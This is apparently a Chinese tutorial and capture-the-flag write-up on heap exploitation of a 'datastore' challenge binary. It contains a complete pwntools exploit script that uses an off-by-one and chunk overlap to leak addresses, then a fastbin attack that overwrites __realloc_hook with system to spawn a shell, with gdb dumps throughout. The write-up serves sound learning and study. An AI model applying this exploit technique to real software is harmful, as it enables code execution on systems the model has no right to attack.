堆入门系列教程1
序言:第二题,研究了两天,其中有小猪师傅,m4x师傅,萝卜师傅等各个师傅指点我,这次又踩了几个坑,相信以后不会再犯,第二题感觉比第一题复杂许多,不是off-by-one的问题,是这种攻击方式的问题,这种攻击方式十分精妙,chunk overlap,堆块重叠,这种攻击方式我也是第一次见,复现起来难度也是有滴
此题也是off-by-one里的一道题目,让我再次意识到off by one在堆里的强大之处
前面的功能分析和数据结构分析我就不再做了,ctf-wiki上给的清楚了,然后网上各种wp也给的清楚了,我没逆向过红黑树,也没写过,所以具体结构我也不清楚,照着师傅们的来,确实是树
数据结构
struct Node { char *key; long data_size; char *data; struct Node *left; struct Node *right; long dummy; long dummy1; }
这个函数存在off-by-one
char *sub_1040() { char *v0; // r12 char *v1; // rbx size_t v2; // r14 char v3; // al char v4; // bp signed __int64 v5; // r13 char *v6; // rax v0 = malloc(8uLL); v1 = v0; v2 = malloc_usable_size(v0); while ( 1 ) { v3 = _IO_getc(stdin); v4 = v3; if ( v3 == -1 ) sub_1020(); if ( v3 == 10 ) break; v5 = v1 - v0; if ( v2 <= v1 - v0 ) { v6 = realloc(v0, 2 * v2); v0 = v6; if ( !v6 ) { puts("FATAL: Out of memory"); exit(-1); } v1 = &v6[v5]; v2 = malloc_usable_size(v6); } *v1++ = v4; } *v1 = 0;//off-by-one return v0; }
然后师傅们利用堆块的重叠进行泄露地址,然后覆盖fd指针,然后fastbin attack,简单的说就是这样,先说明下整体攻击过程
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from PwnContext.core import * local = True # Set up pwntools for the correct architecture exe = './' + 'datastore' elf = context.binary = ELF(exe) #don't forget to change it host = '127.0.0.1' port = 10000 #don't forget to change it ctx.binary = exe libc = args.LIBC or 'libc.so.6' ctx.debug_remote_libc = True ctx.remote_libc = libc if local: #context.log_level = 'debug' try: p = ctx.start() except Exception as e: print(e.args) print("It can't work,may be it can't load the remote libc!") print("It will load the local process") io = process(exe) else: io = remote(host,port) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Full RELRO # Stack: Canary found # NX: NX enabled # PIE: PIE enabled # FORTIFY: Enabled #!/usr/bin/env python def GET(key): p.sendline("GET") p.recvline("PROMPT: Enter row key:") p.sendline(key) def PUT(key, size, data): p.sendline("PUT") p.recvline("PROMPT: Enter row key:") p.sendline(key) p.recvline("PROMPT: Enter data size:") p.sendline(str(size)) p.recvline("PROMPT: Enter data:") p.send(data) def DUMP(): p.sendline("DUMP") def DEL(key): p.sendline("DEL") p.recvline("PROMPT: Enter row key:") p.sendline(key) def exp(): libc = ELF('libc.so.6') system_off = libc.symbols['system'] realloc_hook_off = libc.symbols['__realloc_hook'] DEL("th3fl4g") PUT("1"*0x8, 0x80, 'A'*0x80) PUT("2"*0x8, 0x18, 'B'*0x18) PUT("3"*0x8, 0x60, 'C'*0x60) PUT("3"*0x8, 0xf0, 'C'*0xf0) PUT("4"*0x8+p64(0)+p64(0x200), 0x20, 'D'*0x20) # off by one DEL("1"*0x8) DEL("3"*0x8) PUT("a", 0x88, p8(0)*0x88) DUMP() p.recvuntil("INFO: Dumping all rows.\n") temp = p.recv(11) heap_base = u64(p.recv(6).ljust(8, "\x00"))-0x3f0 libc_base = int(p.recvline()[3:-7])-0x3be7b8 log.info("heap_base: " + hex(heap_base)) log.info("libc_base: " + hex(libc_base)) realloc_hook_addr = libc_base + realloc_hook_off log.info("reallo_hook: 0x%x" % realloc_hook_addr) payload = p64(heap_base+0x70) payload += p64(0x8) payload += p64(heap_base+0x50) payload += p64(0)*2 payload += p64(heap_base+0x250) payload += p64(0)+p64(0x41) payload += p64(heap_base+0x3e0) payload += p64(0x88) payload += p64(heap_base+0xb0) payload += p64(0)*2 payload += p64(heap_base+0x250) payload += p64(0)*5+p64(0x71) payload += p64(realloc_hook_addr-0x8-0x3-0x8) PUT("6"*0x8, 0xa8, payload) payload = p64(0)*3+p64(0x41) payload += p64(heap_base+0x290) payload += p64(0x20) payload += p64(heap_base+0x3b0) payload += p64(0)*4+p64(0x21) payload += p64(0)*3 PUT("c"*0x8, 0x78, payload) payload = p64(0)+p64(0x41) payload += p64(heap_base+0x90) payload += p64(0x8)+p64(heap_base+0x230) payload += p64(0)*2+p64(heap_base+0x250) payload += p64(0x1)+p64(0)*3 PUT("d"*0x8, 0x60, payload) gdb.attach(p) system_addr = libc_base+system_off print("system_addr: 0x%x" % system_addr) payload = 'a'*0x3 payload += p64(system_addr) payload += p8(0)*(0x4d+0x8) PUT("e"*0x8, 0x60, payload) payload = "/bin/sh" payload += p8(0)*0x12 GET(payload) if __name__ == '__main__': exp() p.interactive()
我只有exp部分是重点,其余创建堆块动作都是辅助的
堆叠
这篇文章讲的很好,图配的也很好,看下这部分就大概知道堆块重叠了
而这道题中,这里就是构造堆块重叠部分
libc = ELF('libc.so.6') system_off = libc.symbols['system'] realloc_hook_off = libc.symbols['__realloc_hook'] DEL("th3fl4g") PUT("1"*0x8, 0x80, 'A'*0x80) PUT("2"*0x8, 0x18, 'B'*0x18) PUT("3"*0x8, 0x60, 'C'*0x60) PUT("3"*0x8, 0xf0, 'C'*0xf0) PUT("4"*0x8+p64(0)+p64(0x200), 0x20, 'D'*0x20) # off by one DEL("1"*0x8) DEL("3"*0x8)
PUT("a", 0x88, p8(0)*0x88) DUMP() p.recvuntil("INFO: Dumping all rows.\n") temp = p.recv(11) heap_base = u64(p.recv(6).ljust(8, "\x00"))-0x3f0 libc_base = int(p.recvline()[3:-7])-0x3be7b8 log.info("heap_base: " + hex(heap_base)) log.info("libc_base: " + hex(libc_base)) realloc_hook_addr = libc_base + realloc_hook_off log.info("reallo_hook: 0x%x" % realloc_hook_addr)
第一步put是为了将free掉的chunk移动到2处,这样才好泄露
gdb-peda$ x/50gx 0x562a3c9a8070-0x70 0x562a3c9a8000: 0x0000000000000000 0x0000000000000041 0x562a3c9a8010: 0x0000000000000000 0x0000000000000080 0x562a3c9a8020: 0x0000562a3c9a80b0 0x0000000000000000 0x562a3c9a8030: 0x0000000000000000 0x0000562a3c9a8140 0x562a3c9a8040: 0x0000000000000000 0x0000000000000021 0x562a3c9a8050: 0x4242424242424242 0x4242424242424242 0x562a3c9a8060: 0x4242424242424242 0x0000000000000021 0x562a3c9a8070: 0x3232323232323232 0x0000000000000000 0x562a3c9a8080: 0x0000000000000000 0x0000000000000021 0x562a3c9a8090: 0x0000000000000000 0x0000000000000000 0x562a3c9a80a0: 0x0000000000000000 0x0000000000000301 #free后合并的chunk 0x562a3c9a80b0: 0x00007f14e88247b8 0x00007f14e88247b8 0x562a3c9a80c0: 0x4141414141414141 0x4141414141414141 0x562a3c9a80d0: 0x4141414141414141 0x4141414141414141 0x562a3c9a80e0: 0x4141414141414141 0x4141414141414141 0x562a3c9a80f0: 0x4141414141414141 0x4141414141414141 0x562a3c9a8100: 0x4141414141414141 0x4141414141414141 0x562a3c9a8110: 0x4141414141414141 0x4141414141414141 0x562a3c9a8120: 0x4141414141414141 0x4141414141414141 0x562a3c9a8130: 0x0000000000000090 0x0000000000000040 #堆块2 0x562a3c9a8140: 0x0000562a3c9a8070 0x0000000000000018 0x562a3c9a8150: 0x0000562a3c9a8050 0x0000000000000000 0x562a3c9a8160: 0x0000000000000000 0x0000562a3c9a8250 0x562a3c9a8170: 0x0000000000000001 0x0000000000000041 0x562a3c9a8180: 0x0000562a3c9a8000 0x00000000000000f0
覆盖后结果如下,地址会变,因为我是两次调试,方便截图,实际偏移位置没变
gdb-peda$ x/50gx 0x55be33916070-0x70
0x55be33916000: 0x0000000000000000 0x0000000000000041
0x55be33916010: 0x0000000000000000 0x0000000000000080
0x55be33916020: 0x000055be339160b0 0x0000000000000000
0x55be33916030: 0x0000000000000000 0x000055be33916140
0x55be33916040: 0x0000000000000000 0x0000000000000021
0x55be33916050: 0x4242424242424242 0x4242424242424242
0x55be33916060: 0x4242424242424242 0x0000000000000021
0x55be33916070: 0x3232323232323232 0x0000000000000000
0x55be33916080: 0x0000000000000000 0x0000000000000021
0x55be33916090: 0x0000000000000000 0x0000000000000000
0x55be339160a0: 0x0000000000000000 0x0000000000000091
0x55be339160b0: 0x0000000000000000 0x0000000000000000
0x55be339160c0: 0x0000000000000000 0x0000000000000000
0x55be339160d0: 0x0000000000000000 0x0000000000000000
0x55be339160e0: 0x0000000000000000 0x0000000000000000
0x55be339160f0: 0x0000000000000000 0x0000000000000000
0x55be33916100: 0x0000000000000000 0x0000000000000000
0x55be33916110: 0x0000000000000000 0x0000000000000000
0x55be33916120: 0x0000000000000000 0x0000000000000000
0x55be33916130: 0x0000000000000000 0x0000000000000271
0x55be33916140: 0x00007fa9f416c7b8 0x00007fa9f416c7b8 #覆盖了原来的0x18
0x55be33916150: 0x000055be33916050 0x0000000000000000
0x55be33916160: 0x0000000000000000 0x000055be33916250
0x55be33916170: 0x0000000000000001 0x0000000000000041
0x55be33916180: 0x000055be339163e0 0x0000000000000088
这步是比较难的,因为堆块申请的位置不确定,需要一步步调试确定,我建议每部署一部分,调试一次状况,然后在进行现场的保护
payload = p64(heap_base+0x70) payload += p64(0x8) payload += p64(heap_base+0x50) payload += p64(0)*2 payload += p64(heap_base+0x250) payload += p64(0)+p64(0x41) payload += p64(heap_base+0x3e0) payload += p64(0x88) payload += p64(heap_base+0xb0) payload += p64(0)*2 payload += p64(heap_base+0x250) payload += p64(0)*5+p64(0x71) payload += p64(realloc_hook_addr-0x8-0x3-0x8) PUT("6"*0x8, 0xa8, payload) #1 payload = p64(0)*3+p64(0x41) payload += p64(heap_base+0x290) payload += p64(0x20) payload += p64(heap_base+0x3b0) payload += p64(0)*4+p64(0x21) payload += p64(0)*3 PUT("c"*0x8, 0x78, payload) #2 payload = p64(0)+p64(0x41) payload += p64(heap_base+0x90) payload += p64(0x8)+p64(heap_base+0x230) payload += p64(0)*2+p64(heap_base+0x250) payload += p64(0x1)+p64(0)*3 PUT("d"*0x8, 0x60, payload) #3
具体我怎么调试示范下,先在1处gdb.attach(p)
gdb-peda$ x/100gx 0x559717162000 0x559717162000: 0x0000000000000000 0x0000000000000041 #结构体chunk 0x559717162010: 0x00005597171621c0 0x00000000000000a8 0x559717162020: 0x0000559717162140 0x0000000000000000 0x559717162030: 0x0000000000000000 0x0000559717162140 0x559717162040: 0x0000000000000001 0x0000000000000021 0x559717162050: 0x4242424242424242 0x4242424242424242 0x559717162060: 0x4242424242424242 0x0000000000000021 0x559717162070: 0x3232323232323232 0x0000000000000000 0x559717162080: 0x0000000000000000 0x0000000000000021 0x559717162090: 0x0000000000000000 0x0000000000000000 0x5597171620a0: 0x0000000000000000 0x0000000000000091 0x5597171620b0: 0x0000000000000000 0x0000000000000000 0x5597171620c0: 0x0000000000000000 0x0000000000000000 0x5597171620d0: 0x0000000000000000 0x0000000000000000 0x5597171620e0: 0x0000000000000000 0x0000000000000000 0x5597171620f0: 0x0000000000000000 0x0000000000000000 0x559717162100: 0x0000000000000000 0x0000000000000000 0x559717162110: 0x0000000000000000 0x0000000000000000 0x559717162120: 0x0000000000000000 0x0000000000000000 0x559717162130: 0x0000000000000000 0x00000000000000b1 #payload chunk 0x559717162140: 0x0000559717162070 0x0000000000000008 0x559717162150: 0x0000559717162050 0x0000559717162010 0x559717162160: 0x0000000000000000 0x0000559717162250 0x559717162170: 0x0000000000000000 0x0000000000000041 0x559717162180: 0x00005597171623e0 0x0000000000000088 0x559717162190: 0x00005597171620b0 0x0000000000000000 0x5597171621a0: 0x0000000000000000 0x0000559717162250 0x5597171621b0: 0x0000000000000000 0x0000000000000000 0x5597171621c0: 0x0000000000000000 0x0000000000000000 0x5597171621d0: 0x0000000000000000 0x0000000000000071 0x5597171621e0: 0x00007fc9194dc71d 0x00000000000001c1 #payload end 0x5597171621f0: 0x00007fc9194dc7b8 0x00007fc9194dc7b8 0x559717162200: 0x4343434343434343 0x4343434343434343 0x559717162210: 0x4343434343434343 0x4343434343434343 0x559717162220: 0x4343434343434343 0x4343434343434343 0x559717162230: 0x4343434343434343 0x4343434343434343 0x559717162240: 0x0000000000000000 0x0000000000000041 0x559717162250: 0x0000559717162290 0x0000000000000020 0x559717162260: 0x00005597171623b0 0x0000559717162140 0x559717162270: 0x0000559717162180 0x0000000000000000 0x559717162280: 0x0000000000000000 0x0000000000000021 0x559717162290: 0x3434343434343434 0x0000000000000000 0x5597171622a0: 0x0000000000000200 0x0000000000000100 0x5597171622b0: 0x4343434343434343 0x4343434343434343 0x5597171622c0: 0x4343434343434343 0x4343434343434343 0x5597171622d0: 0x4343434343434343 0x4343434343434343 0x5597171622e0: 0x4343434343434343 0x4343434343434343 0x5597171622f0: 0x4343434343434343 0x4343434343434343 0x559717162300: 0x4343434343434343 0x4343434343434343 0x559717162310: 0x4343434343434343 0x4343434343434343
既然知道他会覆盖那部分,我就提前查看这部分内容,进行覆盖就行了,然后将gdb.attach放到合并堆块那会,查看具体内容,也就是在这
gdb.attach(p) PUT("a", 0x88, p8(0)*0x88) DUMP()
查看具体内容,然后进行覆盖
其实这些都可以预估的,前面DEL(1) DEL(3),所以会空闲两个结构体,这是fastbin部分的空闲堆块,所以结构体会在原来的chunk上建立,至于申请的0xa8不属于fastbin里,所以他会从大堆块里取,取出能存放0xa8大小的chunk,第二次put的话先申请一个结构体0x40大小的结构体存放红黑树结构,然后在申请0x78大小的chunk,都是从大堆块里取,因为此时fastbin里没有空闲堆块了,第一块用于PUT("a", 0x88, p8(0)0x88),第二块用于PUT("6"0x8, 0xa8, payload)
PUT("d"*0x8, 0x60, payload)这里先申请一个堆块,同时保护现场,因为原来是fastbin中的一个chunk指向了realloc_hook,现在申请过后,在申请一个堆块便是realloc_hook的地址了
注意:还记得开头申请两个3吗,申请第二个3的时候会先删除前一个chunk,那个就是fastbin里0x70大小的chunk,所以我们覆盖的就是这个chunk的fd
还记得我前面realloc_hook地址怎么写payload的吗
看
realloc_hook_addr-0x8-0x3-0x8
为什么要这么写呢?
先看看realloc_hook附近
gdb-peda$ x/5gx 0x7f14d2670730-0x10 0x7f14d2670720 <__memalign_hook>: 0x00007f14d2335c90 0x0000000000000000 0x7f14d2670730 <__realloc_hook>: 0x00007f14d2335c30 0x0000000000000000 0x7f14d2670740 <__malloc_hook>: 0x0000000000000000
你记得malloc_chunk是怎么样的吗?
/* This struct declaration is misleading (but accurate and necessary). It declares a "view" into memory allowing access to necessary fields at known offsets from a given base. See explanation below. */ struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; };
如果我们要申请个chunk的话,应当如何,不伪造chunk可不可以,我尝试过,失败了,
我报了这个错
malloc(): memory corruption (fast)
经师傅提点,去查看malloc源码
/* If the size qualifies as a fastbin, first check corresponding bin. This code is safe to execute even if av is not yet initialized, so we can try it without checking, which saves some time on this fast path. */ if ((unsigned long) (nb) <= (unsigned long) (get_max_fast())) { // 得到对应的fastbin的下标 idx = fastbin_index(nb); // 得到对应的fastbin的头指针 mfastbinptr *fb = &fastbin(av, idx); mchunkptr pp = *fb; // 利用fd遍历对应的bin内是否有空闲的chunk块, do { victim = pp; if (victim == NULL) break; } while ((pp = catomic_compare_and_exchange_val_acq(fb, victim->fd, victim)) != victim); // 存在可以利用的chunk if (victim != 0) { // 检查取到的 chunk 大小是否与相应的 fastbin 索引一致。 // 根据取得的 victim ,利用 chunksize 计算其大小。 // 利用fastbin_index 计算 chunk 的索引。 if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) { errstr = "malloc(): memory corruption (fast)"; errout: malloc_printerr(check_action, errstr, chunk2mem(victim), av); return NULL; } // 细致的检查。。只有在 DEBUG 的时候有用 check_remalloced_chunk(av, victim, nb); // 将获取的到chunk转换为mem模式 void *p = chunk2mem(victim); // 如果设置了perturb_type, 则将获取到的chunk初始化为 perturb_type ^ 0xff alloc_perturb(p, bytes); return p; } }
他会检测大小是否正确,所以不伪造chunk的size部分过不了关的
在回到这里
gdb-peda$ x/5gx 0x7f14d2670730-0x10 0x7f14d2670720 <__memalign_hook>: 0x00007f14d2335c90 0x0000000000000000 0x7f14d2670730 <__realloc_hook>: 0x00007f14d2335c30 0x0000000000000000 0x7f14d2670740 <__malloc_hook>: 0x0000000000000000
这样是个chunk的话,pre_size是0x00007f14d2335c90,size是0,这样肯定没法搞,所以我们要利用一点错位,让size成功变成fastbin里的
gdb-peda$ x/5gx 0x7f14d2670730-0x10-0x3 0x7f14d267071d: 0x14d2335c90000000 0x000000000000007f 0x7f14d267072d: 0x14d2335c30000000 0x000000000000007f 0x7f14d267073d: 0x0000000000000000
这样不就成了,size为0x7f,然后我们现在大小对了,位置错位了,所以最后我们要补个'a'*0x3来填充我们的错位部分,然后在realloc部分填上我们的system地址,最后在调用一次getshell
这里的错位需要自己调试,不一定是跟我一样的错位,在fastbin attack部分也将会学习到
system_addr = libc_base+system_off print("system_addr: 0x%x" % system_addr) payload = 'a'*0x3 payload += p64(system_addr) payload += p8(0)*(0x4d+0x8) PUT("e"*0x8, 0x60, payload) payload = "/bin/sh" payload += p8(0)*0x12 GET(payload)
到了结尾了,这里有个点说明下,我们malloc(0x7f)跟伪造chunk的size是完全不一样的,我们malloc过后还要经过计算才得到size,你看普通malloc(0x7f)
0x557c81b53130: 0x0000000000000000 0x0000000000000041 0x557c81b53140: 0x0000557c81b53070 0x000000000000007f 0x557c81b53150: 0x0000557c81b53180 0x0000557c81b53010 0x557c81b53160: 0x0000557c81b53210 0x0000000000000000 0x557c81b53170: 0x0000000000000000 0x0000000000000091 0x557c81b53180: 0x4242424242424242 0x4242424242424242 0x557c81b53190: 0x4242424242424242 0x4242424242424242 0x557c81b531a0: 0x4242424242424242 0x4242424242424242 0x557c81b531b0: 0x4242424242424242 0x4242424242424242 0x557c81b531c0: 0x4242424242424242 0x4242424242424242 0x557c81b531d0: 0x4242424242424242 0x4242424242424242 0x557c81b531e0: 0x4242424242424242 0x4242424242424242 0x557c81b531f0: 0x4242424242424242 0x0042424242424242
他获得的是0x91大小的chunk,具体size计算可以自己看源码,我只是点出这个点而已